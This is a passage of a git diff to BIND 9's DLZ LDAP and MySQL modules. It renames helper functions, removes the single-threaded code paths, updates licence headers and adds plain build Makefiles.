+						  ldap_msg, ldap_url->lud_attrs,
+						  ptr, true);
 		break;
 	case AUTHORITY:
 	case LOOKUP:
-		result = ldap_process_results(db, (LDAP *)dbi->dbconn, ldap_msg,
-					      ldap_url->lud_attrs, ptr, false);
+		result = dlz_ldap_process_results(db, (LDAP *)dbi->dbconn,
+						  ldap_msg, ldap_url->lud_attrs,
+						  ptr, false);
 		break;
 	case ALLOWXFR:
 		entries = ldap_count_entries((LDAP *)dbi->dbconn, ldap_msg);
@@ -789,7 +765,7 @@ ldap_get_results(const char *zone, const char *record, const char *client,
 		 * screwed up!
 		 */
 		db->log(ISC_LOG_ERROR, "Incorrect query flag passed to "
-				       "ldap_get_results");
+				       "dlz_ldap_get_results");
 		result = ISC_R_UNEXPECTED;
 	}
 
@@ -847,18 +823,21 @@ dlz_allowzonexfr(void *dbdata, const char *name, const char *client) {
 	}
 
 	/* get all the zone data */
-	result = ldap_get_results(name, NULL, client, ALLOWXFR, dbdata, NULL);
+	result = dlz_ldap_get_results(name, NULL, client, ALLOWXFR, dbdata,
+				      NULL);
 	return (result);
 }
 
 isc_result_t
 dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
-	return (ldap_get_results(zone, NULL, NULL, ALLNODES, dbdata, allnodes));
+	return (dlz_ldap_get_results(zone, NULL, NULL, ALLNODES, dbdata,
+				     allnodes));
 }
 
 isc_result_t
 dlz_authority(const char *zone, void *dbdata, dns_sdlzlookup_t *lookup) {
-	return (ldap_get_results(zone, NULL, NULL, AUTHORITY, dbdata, lookup));
+	return (dlz_ldap_get_results(zone, NULL, NULL, AUTHORITY, dbdata,
+				     lookup));
 }
 
 #if DLZ_DLOPEN_VERSION < 3
@@ -874,7 +853,7 @@ dlz_findzonedb(void *dbdata, const char *name, dns_clientinfomethods_t *methods,
 	UNUSED(methods);
 	UNUSED(clientinfo);
 #endif /* if DLZ_DLOPEN_VERSION >= 3 */
-	return (ldap_get_results(name, NULL, NULL, FINDZONE, dbdata, NULL));
+	return (dlz_ldap_get_results(name, NULL, NULL, FINDZONE, dbdata, NULL));
 }
 
 #if DLZ_DLOPEN_VERSION == 1
@@ -896,11 +875,11 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 #endif /* if DLZ_DLOPEN_VERSION >= 2 */
 
 	if (strcmp(name, "*") == 0) {
-		result = ldap_get_results(zone, "~", NULL, LOOKUP, dbdata,
-					  lookup);
+		result = dlz_ldap_get_results(zone, "~", NULL, LOOKUP, dbdata,
+					      lookup);
 	} else {
-		result = ldap_get_results(zone, name, NULL, LOOKUP, dbdata,
-					  lookup);
+		result = dlz_ldap_get_results(zone, name, NULL, LOOKUP, dbdata,
+					      lookup);
 	}
 	return (result);
 }
@@ -911,14 +890,9 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	isc_result_t result = ISC_R_FAILURE;
 	ldap_instance_t *ldap = NULL;
 	dbinstance_t *dbi = NULL;
-	const char *helper_name;
-	int protocol;
-	int method;
-#if PTHREADS
-	int dbcount;
-	char *endp;
-	int i;
-#endif /* PTHREADS */
+	const char *helper_name = NULL;
+	int protocol, method, dbcount, i;
+	char *endp = NULL;
 	va_list ap;
 
 	UNUSED(dlzname);
@@ -937,13 +911,8 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	}
 	va_end(ap);
 
-#if PTHREADS
 	/* if debugging, let user know we are multithreaded. */
 	ldap->log(ISC_LOG_DEBUG(1), "LDAP driver running multithreaded");
-#else  /* PTHREADS */
-	/* if debugging, let user know we are single threaded. */
-	ldap->log(ISC_LOG_DEBUG(1), "LDAP driver running single threaded");
-#endif /* PTHREADS */
 
 	if (argc < 9) {
 		ldap->log(ISC_LOG_ERROR, "LDAP driver requires at least "
@@ -985,8 +954,6 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 		goto cleanup;
 	}
 
-	/* multithreaded build can have multiple DB connections */
-#if PTHREADS
 	/* check how many db connections we should create */
 	dbcount = strtol(argv[1], &endp, 10);
 	if (*endp != '\0' || dbcount < 0) {
@@ -995,34 +962,37 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 					 "must be positive.");
 		goto cleanup;
 	}
-#endif /* if PTHREADS */
 
 	/* check that LDAP URL parameters make sense */
 	switch (argc) {
 	case 12:
-		result = ldap_checkURL(ldap, argv[11], 0,
-				       "allow zone transfer");
+		result = dlz_ldap_checkURL(ldap, argv[11], 0,
+					   "allow zone transfer");
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
+		FALLTHROUGH;
 	case 11:
-		result = ldap_checkURL(ldap, argv[10], 3, "all nodes");
+		result = dlz_ldap_checkURL(ldap, argv[10], 3, "all nodes");
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
+		FALLTHROUGH;
 	case 10:
 		if (strlen(argv[9]) > 0) {
-			result = ldap_checkURL(ldap, argv[9], 3, "authority");
+			result = dlz_ldap_checkURL(ldap, argv[9], 3,
+						   "authority");
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup;
 			}
 		}
+		FALLTHROUGH;
 	case 9:
-		result = ldap_checkURL(ldap, argv[8], 3, "lookup");
+		result = dlz_ldap_checkURL(ldap, argv[8], 3, "lookup");
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
-		result = ldap_checkURL(ldap, argv[7], 0, "find zone");
+		result = dlz_ldap_checkURL(ldap, argv[7], 0, "find zone");
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
@@ -1051,7 +1021,6 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 		goto cleanup;
 	}
 
-#if PTHREADS
 	/* allocate memory for database connection list */
 	ldap->db = calloc(1, sizeof(db_list_t));
 	if (ldap->db == NULL) {
@@ -1067,7 +1036,6 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	 * append each new DBI to the end of the list
 	 */
 	for (i = 0; i < dbcount; i++) {
-#endif /* PTHREADS */
 		/* how many queries were passed in from config file? */
 		switch (argc) {
 		case 9:
@@ -1105,19 +1073,11 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 			goto cleanup;
 		}
 
-#if PTHREADS
 		/* when multithreaded, build a list of DBI's */
 		DLZ_LINK_INIT(dbi, link);
 		DLZ_LIST_APPEND(*(ldap->db), dbi, link);
-#else  /* if PTHREADS */
-	/*
-	 * when single threaded, hold onto the one connection
-	 * instance.
-	 */
-	ldap->db = dbi;
-#endif /* if PTHREADS */
 		/* attempt to connect */
-		result = ldap_connect(ldap, dbi);
+		result = dlz_ldap_connect(ldap, dbi);
 
 		/*
 		 * if db connection cannot be created, log err msg and
@@ -1132,16 +1092,10 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 		 * allocate memory
 		 */
 		case ISC_R_NOMEMORY:
-#if PTHREADS
 			ldap->log(ISC_LOG_ERROR,
 				  "LDAP driver could not allocate memory "
 				  "for connection number %u",
 				  i + 1);
-#else  /* if PTHREADS */
-		ldap->log(ISC_LOG_ERROR, "LDAP driver could not allocate "
-					 "memory "
-					 "for connection");
-#endif /* if PTHREADS */
 			goto cleanup;
 		/*
 		 * no perm means ldap_set_option could not set
@@ -1154,15 +1108,10 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 			goto cleanup;
 		/* failure means couldn't connect to ldap server */
 		case ISC_R_FAILURE:
-#if PTHREADS
 			ldap->log(ISC_LOG_ERROR,
 				  "LDAP driver could not bind "
 				  "connection number %u to server.",
 				  i + 1);
-#else  /* if PTHREADS */
-		ldap->log(ISC_LOG_ERROR, "LDAP driver could not "
-					 "bind connection to server.");
-#endif /* if PTHREADS */
 			goto cleanup;
 		/*
 		 * default should never happen.  If it does,
@@ -1175,11 +1124,9 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 			goto cleanup;
 		}
 
-#if PTHREADS
 		/* set DBI = null for next loop through. */
 		dbi = NULL;
 	}
-#endif /* PTHREADS */
 
 	/* set dbdata to the ldap_instance we created. */
 	*dbdata = ldap;
@@ -1196,19 +1143,10 @@ void
 dlz_destroy(void *dbdata) {
 	if (dbdata != NULL) {
 		ldap_instance_t *db = (ldap_instance_t *)dbdata;
-#if PTHREADS
 		/* cleanup the list of DBI's */
 		if (db->db != NULL) {
-			ldap_destroy_dblist((db_list_t *)(db->db));
+			dlz_ldap_destroy_dblist((db_list_t *)(db->db));
 		}
-#else  /* PTHREADS */
-		if (db->db->dbconn != NULL) {
-			ldap_unbind_s((LDAP *)(db->db->dbconn));
-		}
-
-		/* destroy single DB instance */
-		destroy_dbinstance(db->db);
-#endif /* PTHREADS */
 
 		if (db->hosts != NULL) {
 			free(db->hosts);
@@ -1228,12 +1166,7 @@ dlz_destroy(void *dbdata) {
  */
 int
 dlz_version(unsigned int *flags) {
-	*flags |= DNS_SDLZFLAG_RELATIVERDATA;
-#if PTHREADS
-	*flags |= DNS_SDLZFLAG_THREADSAFE;
-#else  /* if PTHREADS */
-	*flags &= ~DNS_SDLZFLAG_THREADSAFE;
-#endif /* if PTHREADS */
+	*flags |= DNS_SDLZFLAG_RELATIVERDATA | DNS_SDLZFLAG_THREADSAFE;
 	return (DLZ_DLOPEN_VERSION);
 }
 
diff --git a/contrib/dlz/modules/ldap/testing/named.conf b/contrib/dlz/modules/ldap/testing/named.conf
index e79a02e48a..3f8378b33e 100644
--- a/contrib/dlz/modules/ldap/testing/named.conf
+++ b/contrib/dlz/modules/ldap/testing/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2013  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 controls { };
diff --git a/contrib/dlz/modules/ldap/testing/slapd.conf b/contrib/dlz/modules/ldap/testing/slapd.conf
index 14c8ffb02a..d4a62874ac 100644
--- a/contrib/dlz/modules/ldap/testing/slapd.conf
+++ b/contrib/dlz/modules/ldap/testing/slapd.conf
@@ -21,12 +21,12 @@ database      hdb
 
 # This is the root of the LDAP server.  You still need to add
 # an entry to this location via a LDIF file, or you won't be
-# able to add anything else into the LDAP server. 
+# able to add anything else into the LDAP server.
 suffix                "o=bind-dlz"
 
 # this is the "username" you have to use when connecting to the
 # ldap server to make updates.  Type the whole thing exactly
-# as you see it as a parameter to ldapadd. 
+# as you see it as a parameter to ldapadd.
 rootdn                "cn=Manager,o=bind-dlz"
 
 # this is the "password" you have to use when connecting to the
diff --git a/contrib/dlz/modules/mysql/.gitignore b/contrib/dlz/modules/mysql/.gitignore
deleted file mode 100644
index 5fc607b9e2..0000000000
--- a/contrib/dlz/modules/mysql/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/Makefile
diff --git a/contrib/dlz/modules/mysql/Makefile b/contrib/dlz/modules/mysql/Makefile
new file mode 100644
index 0000000000..5d0904c13f
--- /dev/null
+++ b/contrib/dlz/modules/mysql/Makefile
@@ -0,0 +1,46 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+prefix = /usr
+libdir = $(prefix)/lib/bind9
+
+CFLAGS += -fPIC -g -I../include $(shell mysql_config --cflags)
+MYSQL_LIBS=$(shell mysql_config --libs)
+
+all: dlz_mysql_dynamic.so
+
+dlz_dbi.o: ../common/dlz_dbi.c
+	$(CC) $(CFLAGS) -c ../common/dlz_dbi.c
+
+dlz_mysql_dynamic.so: dlz_mysql_dynamic.c dlz_dbi.o
+	$(CC) $(CFLAGS) -shared -o dlz_mysql_dynamic.so \
+		dlz_mysql_dynamic.c dlz_dbi.o $(MYSQL_LIBS)
+
+clean:
+	rm -f dlz_mysql_dynamic.so *.o
+
+install: dlz_mysql_dynamic.so
+	mkdir -p $(DESTDIR)$(libdir)
+	install dlz_mysql_dynamic.so $(DESTDIR)$(libdir)
diff --git a/contrib/dlz/modules/mysql/dlz_mysql_dynamic.c b/contrib/dlz/modules/mysql/dlz_mysql_dynamic.c
index 33d307975d..a6e0ebfab6 100644
--- a/contrib/dlz/modules/mysql/dlz_mysql_dynamic.c
+++ b/contrib/dlz/modules/mysql/dlz_mysql_dynamic.c
@@ -1,45 +1,30 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for BIND 9 was
- * conceived and contributed by Rob Butler.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
 /*
- * Copyright (C) 1999-2001, 2013, 2016  Internet Systems Consortium, Inc.
- * ("ISC")
+ * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
+ *
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 /*
@@ -59,9 +44,9 @@
 #include <dlz_minimal.h>
 #include <dlz_pthread.h>
 
-#if !defined(LIBMARIADB) && MYSQL_VERSION_ID >= 80000
+#if !defined(MARIADB_BASE_VERSION) && MYSQL_VERSION_ID >= 80000
 typedef bool my_bool;
-#endif /* !defined(LIBMARIADB) && MYSQL_VERSION_ID >= 80000 */
+#endif /* !defined(MARIADB_BASE_VERSION) && MYSQL_VERSION_ID >= 80000 */
 
 #define dbc_search_limit 30
 #define ALLNODES	 1
@@ -79,12 +64,8 @@ typedef bool my_bool;
  * many separate instances.
  */
 typedef struct {
-#if PTHREADS
 	db_list_t *db; /*%< handle to a list of DB */
 	int dbcount;
-#else  /* if PTHREADS */
-	dbinstance_t *db; /*%< handle to DB */
-#endif /* if PTHREADS */
 
 	unsigned int flags;
 	char *dbname;
@@ -116,8 +97,8 @@ b9_add_helper(mysql_instance_t *db, const char *helper_name, void *ptr);
  * Private methods
  */
 
-void
-mysql_destroy(dbinstance_t *db) {
+static void
+dlz_mysql_destroy(dbinstance_t *db) {
 	/* release DB connection */
 	if (db->dbconn != NULL) {
 		mysql_close((MYSQL *)db->dbconn);
@@ -127,14 +108,13 @@ mysql_destroy(dbinstance_t *db) {
 	destroy_dbinstance(db);
 }
 
-#if PTHREADS
 /*%
  * Properly cleans up a list of database instances.
  * This function is only used when the module is compiled for
  * multithreaded operation.
  */
 static void
-mysql_destroy_dblist(db_list_t *dblist) {
+dlz_mysql_destroy_dblist(db_list_t *dblist) {
 	dbinstance_t *ndbi = NULL;
 	dbinstance_t *dbi = NULL;
 
@@ -143,7 +123,7 @@ mysql_destroy_dblist(db_list_t *dblist) {
 		dbi = ndbi;
 		ndbi = DLZ_LIST_NEXT(dbi, link);
 
-		mysql_destroy(dbi);
+		dlz_mysql_destroy(dbi);
 	}
 
 	/* release memory for the list structure */
@@ -190,7 +170,6 @@ mysql_find_avail_conn(mysql_instance_t *mysql) {
 		   count);
 	return (NULL);
 }
-#endif /* PTHREADS */
 
 /*%
  * Allocates memory for a new string, and then constructs the new
@@ -239,16 +218,8 @@ mysql_get_resultset(const char *zone, const char *record, const char *client,
 	unsigned int j = 0;
 	int qres = 0;
 
-#if PTHREADS
 	/* find an available DBI from the list */
 	dbi = mysql_find_avail_conn(db);
-#else  /* PTHREADS */
-	/*
-	 * only 1 DBI - no need to lock instance lock either
-	 * only 1 thread in the whole process, no possible contention.
-	 */
-	dbi = (dbinstance_t *)(db->db);
-#endif /* PTHREADS */
 
 	if (dbi == NULL) {
 		return (ISC_R_FAILURE);
@@ -497,8 +468,9 @@ mysql_process_rs(mysql_instance_t *db, dns_sdlzlookup_t *lookup,
 			 * ones together.  figure out how long to make
 			 * string.
 			 */
-			for (j = 2; j < fields; j++)
+			for (j = 2; j < fields; j++) {
 				len += strlen(safeGet(row[j])) + 1;
+			}
 
 			/*
 			 * allocate string memory, allow for NULL to
@@ -697,8 +669,9 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 			 * more than 4 fields, concatenate the last
 			 * ones together.
 			 */
-			for (j = 3; j < fields; j++)
+			for (j = 3; j < fields; j++) {
 				len += strlen(safeGet(row[j])) + 1;
+			}
 
 			tmpString = malloc(len + 1);
 			if (tmpString == NULL) {
@@ -813,13 +786,9 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	dbinstance_t *dbi = NULL;
 	MYSQL *dbc;
 	char *tmp = NULL;
-	char *endp;
-	int j;
+	char *endp = NULL;
 	const char *helper_name;
-#if PTHREADS
-	int dbcount;
-	int i;
-#endif /* PTHREADS */
+	int dbcount, i, j;
 	va_list ap;
 
 	UNUSED(dlzname);
@@ -838,13 +807,8 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	}
 	va_end(ap);
 
-#if PTHREADS
 	/* if debugging, let user know we are multithreaded. */
 	mysql->log(ISC_LOG_DEBUG(1), "MySQL module running multithreaded");
-#else  /* PTHREADS */
-	/* if debugging, let user know we are single threaded. */
-	mysql->log(ISC_LOG_DEBUG(1), "MySQL module running single threaded");
-#endif /* PTHREADS */
 
 	/* verify we have at least 4 arg's passed to the module */
 	if (argc < 4) {
@@ -916,7 +880,6 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 		free(tmp);
 	}
 
-#if PTHREADS
 	/* multithreaded build can have multiple DB connections */
 	tmp = get_parameter_value(argv[1], "threads=");
 	if (tmp == NULL) {
@@ -949,7 +912,6 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	 * append each new DBI to the end of the list
 	 */
 	for (i = 0; i < dbcount; i++) {
-#endif /* PTHREADS */
 		switch (argc) {
 		case 4:
 			result = build_dbinstance(NULL, NULL, NULL, argv[2],
@@ -988,17 +950,9 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 			goto cleanup;
 		}
 
-#if PTHREADS
 		/* when multithreaded, build a list of DBI's */
 		DLZ_LINK_INIT(dbi, link);
 		DLZ_LIST_APPEND(*(mysql->db), dbi, link);
-#else  /* if PTHREADS */
-	/*
-	 * when single threaded, hold onto the one connection
-	 * instance.
-	 */
-	mysql->db = dbi;
-#endif /* if PTHREADS */
 
 		/* create and set db connection */
 		dbi->dbconn = mysql_init(NULL);
@@ -1044,11 +998,9 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 			goto cleanup;
 		}
 
-#if PTHREADS
 		/* set DBI = null for next loop through. */
 		dbi = NULL;
 	}
-#endif /* PTHREADS */
 
 	*dbdata = mysql;
 
@@ -1066,14 +1018,11 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 void
 dlz_destroy(void *dbdata) {
 	mysql_instance_t *db = (mysql_instance_t *)dbdata;
-#if PTHREADS
+
 	/* cleanup the list of DBI's */
 	if (db->db != NULL) {
-		mysql_destroy_dblist((db_list_t *)(db->db));
+		dlz_mysql_destroy_dblist((db_list_t *)(db->db));
 	}
-#else  /* PTHREADS */
-	mysql_destroy(db);
-#endif /* PTHREADS */
 
 	if (db->dbname != NULL) {
 		free(db->dbname);
diff --git a/contrib/dlz/modules/mysql/testing/named.conf b/contrib/dlz/modules/mysql/testing/named.conf
index f8afa23848..1152143351 100644
--- a/contrib/dlz/modules/mysql/testing/named.conf
+++ b/contrib/dlz/modules/mysql/testing/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2013  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 controls { };
diff --git a/contrib/dlz/modules/mysqldyn/.gitignore b/contrib/dlz/modules/mysqldyn/.gitignore
deleted file mode 100644
index f3c7a7c5da..0000000000
--- a/contrib/dlz/modules/mysqldyn/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-Makefile
diff --git a/contrib/dlz/modules/mysqldyn/Makefile b/contrib/dlz/modules/mysqldyn/Makefile
new file mode 100644
index 0000000000..f78cd2ff2e
--- /dev/null
+++ b/contrib/dlz/modules/mysqldyn/Makefile
@@ -0,0 +1,46 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+prefix = /usr
+libdir = $(prefix)/lib/bind9
+
+CFLAGS += -fPIC -g -I../include $(shell mysql_config --cflags)
+MYSQL_LIBS=$(shell mysql_config --libs)
+
+all: dlz_mysqldyn_mod.so
+
+dlz_dbi.o: ../common/dlz_dbi.c
+	$(CC) $(CFLAGS) -c ../common/dlz_dbi.c
+
+dlz_mysqldyn_mod.so: dlz_mysqldyn_mod.c dlz_dbi.o
+	$(CC) $(CFLAGS) -shared -o dlz_mysqldyn_mod.so \
+		dlz_mysqldyn_mod.c dlz_dbi.o $(MYSQL_LIBS)
+
+clean:
+	rm -f dlz_mysqldyn_mod.so *.o
+
+install: dlz_mysqldyn_mod.so
+	mkdir -p $(DESTDIR)$(libdir)
+	install dlz_mysqldyn_mod.so $(DESTDIR)$(libdir)
diff --git a/contrib/dlz/modules/mysqldyn/README b/contrib/dlz/modules/mysqldyn/README
index 468e37c125..7f93c244cb 100644
--- a/contrib/dlz/modules/mysqldyn/README
+++ b/contrib/dlz/modules/mysqldyn/README
@@ -1,3 +1,30 @@
+<!--
+Copyright Internet Systems Consortium, Inc. ("ISC")
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0. If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+
+The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+conceived and contributed by Rob Butler.
+
+SPDX-License-Identifier: ISC and MPL-2.0
+
+Permission to use, copy, modify, and distribute this software for any purpose
+with or without fee is hereby granted, provided that the above copyright
+notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
